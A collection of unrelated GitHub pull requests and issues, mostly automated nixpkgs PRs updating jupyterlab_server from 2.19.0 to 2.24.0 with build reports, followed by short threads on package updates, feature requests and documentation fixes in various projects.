python310Packages.jupyterlab_server: 2.19.0 -> 2.24.0

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for python310Packages.jupyterlab_server is: A set of server components for JupyterLab and JupyterLab like applications
meta.homepage for python310Packages.jupyterlab_server is: https://jupyterlab-server.readthedocs.io/
meta.changelog for python310Packages.jupyterlab_server is: https://github.com/jupyterlab/jupyterlab_server/blob/v2.19.0/CHANGELOG.md
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2.19.0 with grep in /nix/store/3libpc23kipkcf1vqrva4shpy43y9vkf-python3.10-jupyterlab_server-2.19.0
found 2.19.0 in filename of file in /nix/store/3libpc23kipkcf1vqrva4shpy43y9vkf-python3.10-jupyterlab_server-2.19.0

Rebuild report (if merged into master) (click to expand)

13 total rebuild path(s)

13 package rebuild(s)

First fifty rebuilds by attrpath
manim
python310Packages.jupyterlab
python310Packages.jupyterlab-git
python310Packages.jupyterlab-lsp
python310Packages.jupyterlab_server
python310Packages.jupytext
python310Packages.mkdocs-jupyter
python311Packages.jupyterlab
python311Packages.jupyterlab-git
python311Packages.jupyterlab-lsp
python311Packages.jupyterlab_server
python311Packages.jupytext
python311Packages.mkdocs-jupyter

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/3libpc23kipkcf1vqrva4shpy43y9vkf-python3.10-jupyterlab_server-2.19.0 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python310Packages.jupyterlab_server https://github.com/r-ryantm/nixpkgs/archive/230ec638e50ccd17d78d3dd82fbf6756bebc3592.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/3libpc23kipkcf1vqrva4shpy43y9vkf-python3.10-jupyterlab_server-2.19.0
ls -la /nix/store/3libpc23kipkcf1vqrva4shpy43y9vkf-python3.10-jupyterlab_server-2.19.0/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

8 packages failed to build:

manim
python310Packages.jupyterlab-git
python311Packages.jupyterlab
python311Packages.jupyterlab-git
python311Packages.jupyterlab-lsp
python311Packages.jupyterlab_server
python311Packages.jupytext
python311Packages.mkdocs-jupyter

5 packages built:

python310Packages.jupyterlab
python310Packages.jupyterlab-lsp
python310Packages.jupyterlab_server
python310Packages.jupytext
python310Packages.mkdocs-jupyter

Maintainer pings
cc @costrouc for testing.

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for python310Packages.jupyterlab_server is: A set of server components for JupyterLab and JupyterLab like applications
meta.homepage for python310Packages.jupyterlab_server is: https://jupyterlab-server.readthedocs.io/
meta.changelog for python310Packages.jupyterlab_server is: https://github.com/jupyterlab/jupyterlab_server/blob/v2.20.0/CHANGELOG.md
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2.20.0 with grep in /nix/store/k997v36yajp8g8nv86hlhzm617jsm7nd-python3.10-jupyterlab_server-2.20.0
found 2.20.0 in filename of file in /nix/store/k997v36yajp8g8nv86hlhzm617jsm7nd-python3.10-jupyterlab_server-2.20.0

Rebuild report (if merged into master) (click to expand)

13 total rebuild path(s)

13 package rebuild(s)

First fifty rebuilds by attrpath
manim
python310Packages.jupyterlab
python310Packages.jupyterlab-git
python310Packages.jupyterlab-lsp
python310Packages.jupyterlab_server
python310Packages.jupytext
python310Packages.mkdocs-jupyter
python311Packages.jupyterlab
python311Packages.jupyterlab-git
python311Packages.jupyterlab-lsp
python311Packages.jupyterlab_server
python311Packages.jupytext
python311Packages.mkdocs-jupyter

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/k997v36yajp8g8nv86hlhzm617jsm7nd-python3.10-jupyterlab_server-2.20.0 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python310Packages.jupyterlab_server https://github.com/r-ryantm/nixpkgs/archive/275d7ae30fa7f0f4ab5b78c4297787cc1b22099a.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/k997v36yajp8g8nv86hlhzm617jsm7nd-python3.10-jupyterlab_server-2.20.0
ls -la /nix/store/k997v36yajp8g8nv86hlhzm617jsm7nd-python3.10-jupyterlab_server-2.20.0/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

2 packages marked as broken and skipped:

python310Packages.jupyterlab-git
python311Packages.jupyterlab-git

3 packages failed to build:

manim
python310Packages.mkdocs-jupyter
python311Packages.mkdocs-jupyter

8 packages built:

python310Packages.jupyterlab
python310Packages.jupyterlab-lsp
python310Packages.jupyterlab_server
python310Packages.jupytext
python311Packages.jupyterlab
python311Packages.jupyterlab-lsp
python311Packages.jupyterlab_server
python311Packages.jupytext

Maintainer pings
cc @costrouc for testing.

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for python310Packages.jupyterlab_server is: A set of server components for JupyterLab and JupyterLab like applications
meta.homepage for python310Packages.jupyterlab_server is: https://jupyterlab-server.readthedocs.io/
meta.changelog for python310Packages.jupyterlab_server is: https://github.com/jupyterlab/jupyterlab_server/blob/v2.21.0/CHANGELOG.md
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2.21.0 with grep in /nix/store/x42yww9hib9b6kwcz7j3wa3ks48daw55-python3.10-jupyterlab_server-2.21.0
found 2.21.0 in filename of file in /nix/store/x42yww9hib9b6kwcz7j3wa3ks48daw55-python3.10-jupyterlab_server-2.21.0

Rebuild report (if merged into master) (click to expand)

13 total rebuild path(s)

13 package rebuild(s)

First fifty rebuilds by attrpath
manim
python310Packages.jupyterlab
python310Packages.jupyterlab-git
python310Packages.jupyterlab-lsp
python310Packages.jupyterlab_server
python310Packages.jupytext
python310Packages.mkdocs-jupyter
python311Packages.jupyterlab
python311Packages.jupyterlab-git
python311Packages.jupyterlab-lsp
python311Packages.jupyterlab_server
python311Packages.jupytext
python311Packages.mkdocs-jupyter

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/x42yww9hib9b6kwcz7j3wa3ks48daw55-python3.10-jupyterlab_server-2.21.0 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python310Packages.jupyterlab_server https://github.com/r-ryantm/nixpkgs/archive/7a6dcf47d8f3cbeae5cd9753963c48c314c27f17.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/x42yww9hib9b6kwcz7j3wa3ks48daw55-python3.10-jupyterlab_server-2.21.0
ls -la /nix/store/x42yww9hib9b6kwcz7j3wa3ks48daw55-python3.10-jupyterlab_server-2.21.0/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

2 packages marked as broken and skipped:

python310Packages.jupyterlab-git
python311Packages.jupyterlab-git

3 packages failed to build:

manim
python310Packages.mkdocs-jupyter
python311Packages.mkdocs-jupyter

8 packages built:

python310Packages.jupyterlab
python310Packages.jupyterlab-lsp
python310Packages.jupyterlab_server
python310Packages.jupytext
python311Packages.jupyterlab
python311Packages.jupyterlab-lsp
python311Packages.jupyterlab_server
python311Packages.jupytext

Maintainer pings
cc @costrouc for testing.

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for python310Packages.jupyterlab_server is: A set of server components for JupyterLab and JupyterLab like applications
meta.homepage for python310Packages.jupyterlab_server is: https://jupyterlab-server.readthedocs.io/
meta.changelog for python310Packages.jupyterlab_server is: https://github.com/jupyterlab/jupyterlab_server/blob/v2.22.0/CHANGELOG.md
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2.22.0 with grep in /nix/store/gd8z8y8d4afa72v4brdw3yf7ah23yvwl-python3.10-jupyterlab_server-2.22.0
found 2.22.0 in filename of file in /nix/store/gd8z8y8d4afa72v4brdw3yf7ah23yvwl-python3.10-jupyterlab_server-2.22.0

Rebuild report (if merged into master) (click to expand)

13 total rebuild path(s)

13 package rebuild(s)

First fifty rebuilds by attrpath
manim
python310Packages.jupyterlab
python310Packages.jupyterlab-git
python310Packages.jupyterlab-lsp
python310Packages.jupyterlab_server
python310Packages.jupytext
python310Packages.mkdocs-jupyter
python311Packages.jupyterlab
python311Packages.jupyterlab-git
python311Packages.jupyterlab-lsp
python311Packages.jupyterlab_server
python311Packages.jupytext
python311Packages.mkdocs-jupyter

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/gd8z8y8d4afa72v4brdw3yf7ah23yvwl-python3.10-jupyterlab_server-2.22.0 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python310Packages.jupyterlab_server https://github.com/r-ryantm/nixpkgs/archive/3429d54e4df768a12d7ef7d3ad56f48f60c6d1b2.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/gd8z8y8d4afa72v4brdw3yf7ah23yvwl-python3.10-jupyterlab_server-2.22.0
ls -la /nix/store/gd8z8y8d4afa72v4brdw3yf7ah23yvwl-python3.10-jupyterlab_server-2.22.0/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

2 packages marked as broken and skipped:

python310Packages.jupyterlab-git
python311Packages.jupyterlab-git

1 package failed to build:

manim

10 packages built:

python310Packages.jupyterlab
python310Packages.jupyterlab-lsp
python310Packages.jupyterlab_server
python310Packages.jupytext
python310Packages.mkdocs-jupyter
python311Packages.jupyterlab
python311Packages.jupyterlab-lsp
python311Packages.jupyterlab_server
python311Packages.jupytext
python311Packages.mkdocs-jupyter

Maintainer pings
cc @costrouc for testing.

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for python310Packages.jupyterlab_server is: A set of server components for JupyterLab and JupyterLab like applications
meta.homepage for python310Packages.jupyterlab_server is: https://jupyterlab-server.readthedocs.io/
meta.changelog for python310Packages.jupyterlab_server is: https://github.com/jupyterlab/jupyterlab_server/blob/v2.23.0/CHANGELOG.md
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2.23.0 with grep in /nix/store/ifl3hkshh7w4dshdxqjh4z3yrl4lwbjv-python3.10-jupyterlab_server-2.23.0
found 2.23.0 in filename of file in /nix/store/ifl3hkshh7w4dshdxqjh4z3yrl4lwbjv-python3.10-jupyterlab_server-2.23.0

Rebuild report (if merged into master) (click to expand)

13 total rebuild path(s)

13 package rebuild(s)

First fifty rebuilds by attrpath
manim
python310Packages.jupyterlab
python310Packages.jupyterlab-git
python310Packages.jupyterlab-lsp
python310Packages.jupyterlab_server
python310Packages.jupytext
python310Packages.mkdocs-jupyter
python311Packages.jupyterlab
python311Packages.jupyterlab-git
python311Packages.jupyterlab-lsp
python311Packages.jupyterlab_server
python311Packages.jupytext
python311Packages.mkdocs-jupyter

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/ifl3hkshh7w4dshdxqjh4z3yrl4lwbjv-python3.10-jupyterlab_server-2.23.0 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python310Packages.jupyterlab_server https://github.com/r-ryantm/nixpkgs/archive/d1c75618379047deaeb9318371af26949cdedf3c.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/ifl3hkshh7w4dshdxqjh4z3yrl4lwbjv-python3.10-jupyterlab_server-2.23.0
ls -la /nix/store/ifl3hkshh7w4dshdxqjh4z3yrl4lwbjv-python3.10-jupyterlab_server-2.23.0/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

13 packages built:

manim
python310Packages.jupyterlab
python310Packages.jupyterlab-git
python310Packages.jupyterlab-lsp
python310Packages.jupyterlab_server
python310Packages.jupytext
python310Packages.mkdocs-jupyter
python311Packages.jupyterlab
python311Packages.jupyterlab-git
python311Packages.jupyterlab-lsp
python311Packages.jupyterlab_server
python311Packages.jupytext
python311Packages.mkdocs-jupyter

Maintainer pings
cc @costrouc for testing.

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for python310Packages.jupyterlab_server is: A set of server components for JupyterLab and JupyterLab like applications
meta.homepage for python310Packages.jupyterlab_server is: https://jupyterlab-server.readthedocs.io/
meta.changelog for python310Packages.jupyterlab_server is: https://github.com/jupyterlab/jupyterlab_server/blob/v2.24.0/CHANGELOG.md
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2.24.0 with grep in /nix/store/j6dvjcxjzy5ccn3krib74x4vpqh22p7x-python3.10-jupyterlab_server-2.24.0
found 2.24.0 in filename of file in /nix/store/j6dvjcxjzy5ccn3krib74x4vpqh22p7x-python3.10-jupyterlab_server-2.24.0

Rebuild report (if merged into master) (click to expand)

19 total rebuild path(s)

19 package rebuild(s)

First fifty rebuilds by attrpath
manim
python310Packages.jupyterlab
python310Packages.jupyterlab-git
python310Packages.jupyterlab-lsp
python310Packages.jupyterlab_server
python310Packages.jupytext
python310Packages.layoutparser
python310Packages.mkdocs-jupyter
python310Packages.pdfplumber
python310Packages.unstructured-inference
python311Packages.jupyterlab
python311Packages.jupyterlab-git
python311Packages.jupyterlab-lsp
python311Packages.jupyterlab_server
python311Packages.jupytext
python311Packages.layoutparser
python311Packages.mkdocs-jupyter
python311Packages.pdfplumber
python311Packages.unstructured-inference

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/j6dvjcxjzy5ccn3krib74x4vpqh22p7x-python3.10-jupyterlab_server-2.24.0 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python310Packages.jupyterlab_server https://github.com/r-ryantm/nixpkgs/archive/2cde4e5f154a4cce25c520bb495aa741137a6293.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/j6dvjcxjzy5ccn3krib74x4vpqh22p7x-python3.10-jupyterlab_server-2.24.0
ls -la /nix/store/j6dvjcxjzy5ccn3krib74x4vpqh22p7x-python3.10-jupyterlab_server-2.24.0/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

19 packages built:

manim
python310Packages.jupyterlab
python310Packages.jupyterlab-git
python310Packages.jupyterlab-lsp
python310Packages.jupyterlab_server
python310Packages.jupytext
python310Packages.layoutparser
python310Packages.mkdocs-jupyter
python310Packages.pdfplumber
python310Packages.unstructured-inference
python311Packages.jupyterlab
python311Packages.jupyterlab-git
python311Packages.jupyterlab-lsp
python311Packages.jupyterlab_server
python311Packages.jupytext
python311Packages.layoutparser
python311Packages.mkdocs-jupyter
python311Packages.pdfplumber
python311Packages.unstructured-inference

Maintainer pings


add the 2.11 hitbox and add fps unlocker

yep thats all

DONT ADD FPS UNLOCKER cuz 2.2 already have it
DUMBASS

^^


chore: bump dependencies and package-lock lockfile

Issue being fixed or feature implemented
Bump dependencies and update lockfile to v2
What was done?

How Has This Been Tested?

Breaking Changes

Checklist:

[X] I have performed a self-review of my own code
[X] I have commented my code, particularly in hard-to-understand areas
[X] I have added or updated relevant unit/integration/functional/e2e tests
[X] I have made corresponding changes to the documentation

For repository code-owners and collaborators only

[X] I have assigned this pull request to a milestone

It's done already.


Cost Management sample missing

I am missing an up-to-date sample for Cost Management. Can you please add some? I could not find anything.

Very interested in Cost Management samples. This has been on the backlog for a year. Any status?

@00Kai0 ?

Sorry @00Kai0 is no longer working on this , routing to the correct person :)

@00Kai0 / @msyyc  please provide a sample on cost management, we are not able to understand the documentation as there is no example with it ?

Hi @gpnikhil, we will update an example soon.

@kazrael2119 I tested the sample you have added. It does not seem to export anything. Does this SDK support exporting billing data for a given period of time?


python3Packages.dulwich: 0.20.21 -> 0.20.23

Motivation for this change
Update to latest upstream release 0.20.23
Change log: https://www.dulwich.io/docs/#changelog
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Added a release notes entry if the change is major or breaking
[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 124373 run on x86_64-linux 1

21 packages built:

breezy (python38Packages.breezy)
cabal2nix
dep2nix
devpi-client
errbot
flatpak-builder
hydra-unstable
klaus (python38Packages.klaus)
nix-prefetch-bzr
nix-prefetch-scripts
nix-update-source
python38Packages.check-manifest
python38Packages.dulwich
python39Packages.breezy
python39Packages.check-manifest
python39Packages.dulwich
python39Packages.klaus
rabbitvcs
reno
vcstool
xandikos

Result of nixpkgs-review pr 124373 at 376f8578 run on aarch64-linux 1

21 packages built successfully:

breezy (python38Packages.breezy)
cabal2nix
dep2nix
devpi-client
errbot
flatpak-builder
hydra-unstable
klaus (python38Packages.klaus)
nix-prefetch-bzr
nix-prefetch-scripts
nix-update-source
python38Packages.check-manifest
python38Packages.dulwich
python39Packages.breezy
python39Packages.check-manifest
python39Packages.dulwich
python39Packages.klaus
rabbitvcs
reno
vcstool
xandikos


⚒[FEATURE] SnowTrace Integration

Describe the feature you'd like
SnowTrace Integration
Docs: https://snowtrace.io/apis
✅Tasks

[ ] Add SnowTrace action node.

🎯Acceptance Criteria

[ ] SnowTrace action node should have some key APIs from the docs implemented such as accounts, verify contracts, tokens and etc.

👨💻How to contribute
Follow this guide for step by step on how to fork, commit, and submit PR.
🧱 How to create node

Action node guide
Trigger node guide
Webhook node guide

More info
Like to work on this issue? Let us know, and we will assign it to you 🚀
If you need any help or just want to hangout, reach out to us on our Discord server👾

Hi 👋🏻 Can i be assigned to this issue please?

Assigned now! @Olyno thank you for taking this!

Hi 👋🏻 Unfortunately, due to a lack of time, I could not invest more in the project. You can find what I did in a Draft PR (#100). If someone wants to take over what I did, don't hesitate. I don't think I will work on it again in the future.
On a side note, thanks to the community who took the time to help me on the Discord despite the problems I had. I would have been happy to continue working on the project with more time at my disposal.

No worries @Olyno!


[ADLA] Fixing job submission example PS snippets

Adding missing "-Name" parameter to job submission cmdlet examples.

@matt1883,
Thanks for your contribution as a Microsoft full-time employee or intern. You do not need to sign a CLA.
Thanks,
Microsoft Pull Request Bot

#sign-off

@matt1883 : Thanks for your contribution to the Azure documentation! The author, @saveenr, has been notified to review your proposed change.

#sign-off


[WW-5129] Supports dynamic attributes in second control

Implements WW-5129
Follows up of #495

Coverage decreased (-0.8%) to 49.83% when pulling e098c5a2c38f6e2b206aba4625849b05a0b57c5f on WW-5129-dynamic-attributes into a368cb632895e689f81ec59868b28bbf033d9ef8 on master.


Add missing card faces

Pretty often, we get a request for a new card. To add a new card, please open a PR with the CSS that recreates that card face.
Here's a list of cards that have been requested:

[ ] Diner's Club

FYI https://en.wikipedia.org/wiki/Diners_Club_International#Acquisition_by_Discover_Financial_Services
In 2011, Discover began putting its logo on Diners Club cards. Some payment processors, like PayPal, can only process new Diners Club cards with the Discover logo on them.[citation needed]
So Discover == Diners


Update racket to 6.7

After making all changes to the cask:

[x] brew cask audit --download {{cask_file}} is error-free.
[x] brew cask style --fix {{cask_file}} reports no offenses.
[x] The commit message includes the cask’s name and version.

Also, check out cask-repair, it makes Cask updates like this quite easy (details in CONTRIBUTING)


Modernize

This updates all dependencies, makes text selection better and introduces a new dark mode

Hey, lots of changes here. Can you split them into smaller PRs?

Sure! I haven't got the JSDOM tests to work yet, but I'll also finish them and split this.


Make it possible to specify timezone in .env

Hard coding timezone is not the best option

Please describe the issue that you solved if its not filed.
Allow the users to specify the timezone in .env

Hi @rabol
Thanks for PR.


[Feature] Synchrofact Detection

This is a method to detect highly synchronous spikes (at the level of sampling rate precision with an option to extend this to jittered synchrony) and annotate or optionally remove them.
The detection of complexity intervals (time intervals with at least n spikes separated by strictly fewer than spread - 1 empty bins) is particularly suited for artefact detection and analysis, but can be used to get a (time-resolved) overview of complexities at any time-scale. This is different from statistics.time_histogram and statistics.complexity_pdf since it uses the amount of empty bins separating spikes, not a simple bincount and not a moving window with a fixed width while still providing time-resolved output.
I started from an institute-internal script and adapted it to use a BinnedSpikeTrain in the histogramming procedure and I adapted a set of basic tests I wrote for said internal script.

Hello @Kleinjohann! Thanks for opening this PR. We checked the lines you've touched for PEP 8 issues, and found:

In the file elephant/spike_train_processing.py:

Line 261:1: W391 blank line at end of file

In the file elephant/test/test_spike_train_processing.py:

Line 19:80: E501 line too long (82 > 79 characters)
Line 57:80: E501 line too long (80 > 79 characters)
Line 67:80: E501 line too long (87 > 79 characters)
Line 68:51: E128 continuation line under-indented for visual indent
Line 69:51: E128 continuation line under-indented for visual indent
Line 70:51: E128 continuation line under-indented for visual indent
Line 72:80: E501 line too long (84 > 79 characters)
Line 73:80: E501 line too long (84 > 79 characters)
Line 75:80: E501 line too long (87 > 79 characters)
Line 81:80: E501 line too long (87 > 79 characters)
Line 82:51: E128 continuation line under-indented for visual indent
Line 83:51: E128 continuation line under-indented for visual indent
Line 84:51: E128 continuation line under-indented for visual indent
Line 89:80: E501 line too long (85 > 79 characters)
Line 96:80: E501 line too long (86 > 79 characters)
Line 115:51: E128 continuation line under-indented for visual indent
Line 116:51: E128 continuation line under-indented for visual indent
Line 117:51: E128 continuation line under-indented for visual indent
Line 118:51: E128 continuation line under-indented for visual indent
Line 120:80: E501 line too long (85 > 79 characters)
Line 121:80: E501 line too long (85 > 79 characters)
Line 123:80: E501 line too long (87 > 79 characters)
Line 129:80: E501 line too long (87 > 79 characters)
Line 130:51: E128 continuation line under-indented for visual indent
Line 131:51: E128 continuation line under-indented for visual indent
Line 132:51: E128 continuation line under-indented for visual indent
Line 135:80: E501 line too long (81 > 79 characters)
Line 139:80: E501 line too long (85 > 79 characters)
Line 160:51: E128 continuation line under-indented for visual indent
Line 161:51: E128 continuation line under-indented for visual indent
Line 162:51: E128 continuation line under-indented for visual indent
Line 163:51: E128 continuation line under-indented for visual indent
Line 170:80: E501 line too long (87 > 79 characters)
Line 176:80: E501 line too long (87 > 79 characters)
Line 177:51: E128 continuation line under-indented for visual indent
Line 178:51: E128 continuation line under-indented for visual indent
Line 179:51: E128 continuation line under-indented for visual indent
Line 185:80: E501 line too long (82 > 79 characters)
Line 190:80: E501 line too long (86 > 79 characters)
Line 207:80: E501 line too long (87 > 79 characters)
Line 208:51: E128 continuation line under-indented for visual indent
Line 209:51: E128 continuation line under-indented for visual indent
Line 210:51: E128 continuation line under-indented for visual indent
Line 217:80: E501 line too long (87 > 79 characters)
Line 223:80: E501 line too long (87 > 79 characters)
Line 224:51: E128 continuation line under-indented for visual indent
Line 225:51: E128 continuation line under-indented for visual indent
Line 226:51: E128 continuation line under-indented for visual indent
Line 232:80: E501 line too long (82 > 79 characters)
Line 237:80: E501 line too long (86 > 79 characters)
Line 251:80: E501 line too long (86 > 79 characters)
Line 254:80: E501 line too long (86 > 79 characters)
Line 257:80: E501 line too long (87 > 79 characters)
Line 258:51: E128 continuation line under-indented for visual indent
Line 259:51: E128 continuation line under-indented for visual indent
Line 260:51: E128 continuation line under-indented for visual indent
Line 267:80: E501 line too long (87 > 79 characters)
Line 273:80: E501 line too long (87 > 79 characters)
Line 274:51: E128 continuation line under-indented for visual indent
Line 275:51: E128 continuation line under-indented for visual indent
Line 276:51: E128 continuation line under-indented for visual indent
Line 282:80: E501 line too long (82 > 79 characters)
Line 287:80: E501 line too long (86 > 79 characters)
Line 308:80: E501 line too long (83 > 79 characters)
Line 310:80: E501 line too long (82 > 79 characters)
Line 315:80: E501 line too long (81 > 79 characters)
Line 324:51: E128 continuation line under-indented for visual indent
Line 325:51: E128 continuation line under-indented for visual indent
Line 326:51: E128 continuation line under-indented for visual indent
Line 327:51: E128 continuation line under-indented for visual indent
Line 334:80: E501 line too long (86 > 79 characters)

Coverage decreased (-0.2%) to 88.745% when pulling 4ab6ff85844b7e4eb2fccb0217c1fdcf1b3c0f12 on INM-6:synchrofact_detection into 3445f5605fbab129a35176780d33653f1fdeff86 on NeuralEnsemble:master.

Solves #326
From my side this PR is ready for review.

Hey!
We have finally managed to commit the class structure for the complexity and the synchrotool.
The documentation of complexity is in principle complete. Although we are seeing some weird sections emerge (unexpected methods and attributes, which do not have docstrings per se).
We still do not  have the working documentation for synchrotool, and we still need to think if we want to inherit the documentation from complexity or not.  We will write down a better version of that documentation and reach out again.
Let us know if you want to discuss this in person at some meeting :)
Cheers,
Aitor and Alex

I find this PR ready for the final review and merge.
Since it depends on another ongoing PR (in terms of the file location of your methods) about the Spike Contrast method, let's wait for the latter to be merged first.

Ready for the final review.

I have fixed everything we discussed in our meeting on this and addressed all comments in here.
I spotted some double backticks in docstrings, are those a problem?

Thanks a lot!

I spotted some double backticks in docstrings, are those a problem?

No, it's not a problem. Double vs single backticks is a matter of choice.
I'll merge it as soon as the tests pass.
P.S. Consider also adding into viziphant some of the nice synchroplots that you showed to us a month ago.


[Event Request] Table 5965 "Service Contract Header" - OnValidateNextInvoicePeriodOnBeforeCalcContractAmount

We are migrating our code from NAV 2018 to BC16.4. In the Table 5965 "Service Contract Header", in the procedure ValidateNextInvoicePeriod, we need to replace the last two standard code lines in the last "else" by our own. . To do so, we need a a IsHandled flag and an event publisher, like this :

With this integration event :

Do you think it could be possible ?
Thank you for your work.

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. We will update this issue with information about availability.


ENH: Implement permutation based one sample t-test

Is your feature request related to a problem? Please describe.
I would like to use a permutation-based alternative to scipy.stats.ttest_1samp to test if the mean of my observations is significantly greater than zero. I stumbled upon scipy.stats.permutation_test but this is apparently only suited as an alternative for the dependent/independent t-test.
Describe the solution you'd like.
A permutation based t-test is already implemented in the mne package. Another implementation can be found in this StackOverflow thread, which is also the foundation for this Github issue.
Describe alternatives you've considered.
No response
Additional context (e.g. screenshots, GIFs)
No response

stats.permutation_test can absolutely do the one-sample test. Please see the introduction to a tutorial here:
